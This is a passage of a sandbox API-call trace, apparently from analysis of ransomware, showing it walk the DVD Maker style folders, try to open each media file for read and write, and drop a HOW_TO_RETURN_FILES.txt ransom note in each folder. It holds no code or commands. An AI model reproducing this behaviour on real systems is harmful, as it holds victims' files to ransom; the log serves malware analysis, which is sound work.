lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.000] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.000] AreFileApisANSI () returned 1 [0126.000] GetACP () returned 0x4e4 [0126.000] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SceneButtonSubpicture.png", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SceneButtonSubpicture.pngng", lpUsedDefaultChar=0x37dec0) returned 25 [0126.000] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SceneButtonSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\scenebuttonsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.001] AreFileApisANSI () returned 1 [0126.001] GetACP () returned 0x4e4 [0126.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsMainBackground.wmv", cchWideChar=24, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsMainBackground.wmvg", lpUsedDefaultChar=0x37dec0) returned 24 [0126.001] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.001] AreFileApisANSI () returned 1 [0126.001] GetACP () returned 0x4e4 [0126.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsMainBackground_PAL.wmv", cchWideChar=28, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsMainBackground_PAL.wmvng", lpUsedDefaultChar=0x37dec0) returned 28 [0126.001] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.001] AreFileApisANSI () returned 1 [0126.001] GetACP () returned 0x4e4 [0126.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground.wmv", cchWideChar=31, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsMainToNotesBackground.wmvpRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 31 [0126.001] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.001] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.001] AreFileApisANSI () returned 1 [0126.001] GetACP () returned 0x4e4 [0126.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsMainToNotesBackground_PAL.wmv", cchWideChar=35, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsMainToNotesBackground_PAL.wmvpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 35 [0126.002] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.002] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.002] AreFileApisANSI () returned 1 [0126.002] GetACP () returned 0x4e4 [0126.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground.wmv", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsMainToScenesBackground.wmvwmv", lpUsedDefaultChar=0x37dec0) returned 32 [0126.003] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.003] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.003] AreFileApisANSI () returned 1 [0126.003] GetACP () returned 0x4e4 [0126.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsMainToScenesBackground_PAL.wmv", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsMainToScenesBackground_PAL.wmvd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 36 [0126.003] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.003] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.003] AreFileApisANSI () returned 1 [0126.003] GetACP () returned 0x4e4 [0126.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsNotesBackground.wmv", cchWideChar=25, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsNotesBackground.wmvund_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 25 [0126.003] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.003] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.003] AreFileApisANSI () returned 1 [0126.003] GetACP () returned 0x4e4 [0126.003] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsNotesBackground_PAL.wmv", cchWideChar=29, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsNotesBackground_PAL.wmvPAL.wmv", lpUsedDefaultChar=0x37dec0) returned 29 [0126.003] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.004] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.004] AreFileApisANSI () returned 1 [0126.004] GetACP () returned 0x4e4 [0126.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsScenesBackground.wmv", cchWideChar=26, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsScenesBackground.wmvwmv", lpUsedDefaultChar=0x37dec0) returned 26 [0126.004] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.004] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.004] AreFileApisANSI () returned 1 [0126.004] GetACP () returned 0x4e4 [0126.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SportsScenesBackground_PAL.wmv", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="SportsScenesBackground_PAL.wmvAL.wmv", lpUsedDefaultChar=0x37dec0) returned 30 [0126.004] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.005] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.005] AreFileApisANSI () returned 1 [0126.005] GetACP () returned 0x4e4 [0126.005] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="sports_disc_mask.png", cchWideChar=20, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="sports_disc_mask.pngnd_PAL.wmv", lpUsedDefaultChar=0x37dec0) returned 20 [0126.005] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.005] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0126.005] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0126.006] AreFileApisANSI () returned 1 [0126.006] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 75 [0126.006] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0126.007] GetFileType (hFile=0x130) returned 0x1 [0126.008] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.008] AreFileApisANSI () returned 1 [0126.008] GetACP () returned 0x4e4 [0126.008] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Stacking", cchWideChar=8, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="Stackingccasion", lpUsedDefaultChar=0x37df4c) returned 8 [0126.008] AreFileApisANSI () returned 1 [0126.008] GetACP () returned 0x4e4 [0126.008] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=53, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\") returned 53 [0126.010] AreFileApisANSI () returned 1 [0126.010] GetACP () returned 0x4e4 [0126.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 1 [0126.010] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.010] AreFileApisANSI () returned 1 [0126.010] GetACP () returned 0x4e4 [0126.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 2 [0126.010] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.010] AreFileApisANSI () returned 1 [0126.010] GetACP () returned 0x4e4 [0126.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.pngf47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 17 [0126.010] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.010] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.010] AreFileApisANSI () returned 1 [0126.010] GetACP () returned 0x4e4 [0126.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576_91n92.png", cchWideChar=18, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576_91n92.png47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 18 [0126.010] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.011] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.011] AreFileApisANSI () returned 1 [0126.011] GetACP () returned 0x4e4 [0126.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="15x15dot.png92.png", lpUsedDefaultChar=0x37dec0) returned 12 [0126.011] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.011] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.011] AreFileApisANSI () returned 1 [0126.011] GetACP () returned 0x4e4 [0126.011] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="720x480icongraphic.png28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 22 [0126.011] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.012] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.012] AreFileApisANSI () returned 1 [0126.012] GetACP () returned 0x4e4 [0126.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="720_480shadow.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="720_480shadow.pngc.png", lpUsedDefaultChar=0x37dec0) returned 17 [0126.012] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.012] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.012] AreFileApisANSI () returned 1 [0126.012] GetACP () returned 0x4e4 [0126.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.pngRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 32 [0126.012] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.012] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.012] AreFileApisANSI () returned 1 [0126.012] GetACP () returned 0x4e4 [0126.012] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png5TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 38 [0126.012] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.012] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.012] AreFileApisANSI () returned 1 [0126.012] GetACP () returned 0x4e4 [0126.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0126.013] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.013] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.013] AreFileApisANSI () returned 1 [0126.013] GetACP () returned 0x4e4 [0126.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.pngTNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 39 [0126.013] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.013] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.013] AreFileApisANSI () returned 1 [0126.013] GetACP () returned 0x4e4 [0126.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0126.013] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.013] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.013] AreFileApisANSI () returned 1 [0126.013] GetACP () returned 0x4e4 [0126.013] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0126.013] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.014] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0126.014] AreFileApisANSI () returned 1 [0126.014] GetACP () returned 0x4e4 [0126.014] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="photograph.png", cchWideChar=14, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="photograph.pngelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 14 [0126.014] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0126.014] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0126.014] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0126.015] AreFileApisANSI () returned 1 [0126.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0126.015] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0126.016] GetFileType (hFile=0x130) returned 0x1 [0126.016] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0126.016] AreFileApisANSI () returned 1 